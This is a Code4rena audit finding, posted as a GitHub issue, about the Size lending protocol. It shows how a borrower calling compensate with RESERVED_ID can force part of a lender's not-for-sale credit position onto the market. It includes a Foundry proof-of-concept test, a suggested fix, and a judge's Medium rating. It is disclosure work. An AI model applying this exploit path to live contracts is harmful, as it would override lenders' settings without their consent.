code-423n4 / 2024-06-size-findings

0 stars 0 forks source link

A borrower can force set other lender's credit position for sale, by calling compensate and passing `RESERVED ID` #405

Closed howlbot-integration[bot] closed 2 months ago

howlbot-integration[bot] commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Compensate.sol#L106-L156 https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/AccountingLibrary.sol#L103-L127

Vulnerability details

Impact

When lenders create credit positions, they are set by default for sale, however, lenders can set specific positions as not for sale, in other words, if a lender doesn't want to sell this specific credit, this can be done by calling setUserConfiguration. On the other hand, a borrower (who has a corresponding debt position from that credit position) can split this lender's credit position into multiple pieces which sets them by default as for sale, without the lender's acknowledgment.

This can be done by the borrower calling compensate while passing creditPositionToCompensateId as RESERVED_ID. executeCompensate creates a new credit position while having forSale: true according to the amount input, which can be 99% of the lender's credit position.

This allows a user (borrower) to alter another user's (lender) credit position config, by moving its credit to another defaulted settings position.

Proof of Concept

function test_borrower_can_force_position_for_sale() public {
    _deposit(alice, weth, 100e18);
    _deposit(alice, usdc, 500e6);
    _deposit(bob, weth, 100e18);
    _deposit(bob, usdc, 500e6);
    _deposit(candy, weth, 100e18);
    _deposit(candy, usdc, 500e6);

    int256[] memory aprs = new int256[](1);
    uint256[] memory tenors = new uint256[](1);
    uint256[] memory marketRateMultipliers = new uint256[](1);

    aprs[0] = 0.2e18;
    tenors[0] = 365 days;
    marketRateMultipliers[0] = 0;

    // Bob creates a limit order
    vm.prank(bob);
    size.buyCreditLimit(
        BuyCreditLimitParams({
            curveRelativeTime: YieldCurve({
                tenors: tenors,
                marketRateMultipliers: marketRateMultipliers,
                aprs: aprs
            }),
            maxDueDate: block.timestamp + 365 days
        })
    );

    uint256 amount = 100e6;

    // Alice sells credit market (borrows)
    vm.prank(alice);
    size.sellCreditMarket(
        SellCreditMarketParams({
            lender: bob,
            creditPositionId: type(uint256).max,
            tenor: 365 days,
            amount: amount,
            exactAmountIn: true,
            deadline: block.timestamp,
            maxAPR: type(uint256).max
        })
    );

    uint256 creditPositionId = type(uint256).max / 2;

    // Bob's credit position is for sale
    assertTrue(size.getCreditPosition(creditPositionId).forSale);

    uint256[] memory creditPositionIds = new uint256[](1);
    creditPositionIds[0] = creditPositionId;

    // Bob sets that position as not for sale
    vm.prank(bob);
    size.setUserConfiguration(
        SetUserConfigurationParams({
            openingLimitBorrowCR: 0,
            allCreditPositionsForSaleDisabled: false,
            creditPositionIdsForSale: false,
            creditPositionIds: creditPositionIds
        })
    );

    // Bob's credit position is not for sale
    assertFalse(size.getCreditPosition(creditPositionId).forSale);

    uint256 newAmount = 90e6;

    // Alice compensates the credit position with 90% of the amount
    vm.prank(alice);
    size.compensate(
        CompensateParams({
            creditPositionWithDebtToRepayId: creditPositionId,
            creditPositionToCompensateId: type(uint256).max,
            amount: newAmount
        })
    );

    uint256 newCreditPositionId = creditPositionId + 1;

    // Bob's old credit position is not for sale and worth 10 USDC
    assertEq(
        size.getCreditPosition(creditPositionId).credit,
        amount - newAmount
    );
    assertFalse(size.getCreditPosition(creditPositionId).forSale);

    // Bob's new credit position is for sale and worth 90 USDC
    assertEq(size.getCreditPosition(newCreditPositionId).credit, newAmount);
    assertTrue(size.getCreditPosition(newCreditPositionId).forSale);
}

Tools Used

Manual review

Recommended Mitigation Steps

Update the forSale field for the newly created credit and set it as the previous one's, by adding something like the following in executeCompensate:

state
    .data
    .creditPositions[state.data.nextCreditPositionId - 1]
    .forSale = creditPositionWithDebtToRepay.forSale;

Assessed type

Access Control

c4-judge commented 2 months ago

hansfriese changed the severity to 2 (Med Risk)

c4-judge commented 2 months ago

hansfriese marked the issue as satisfactory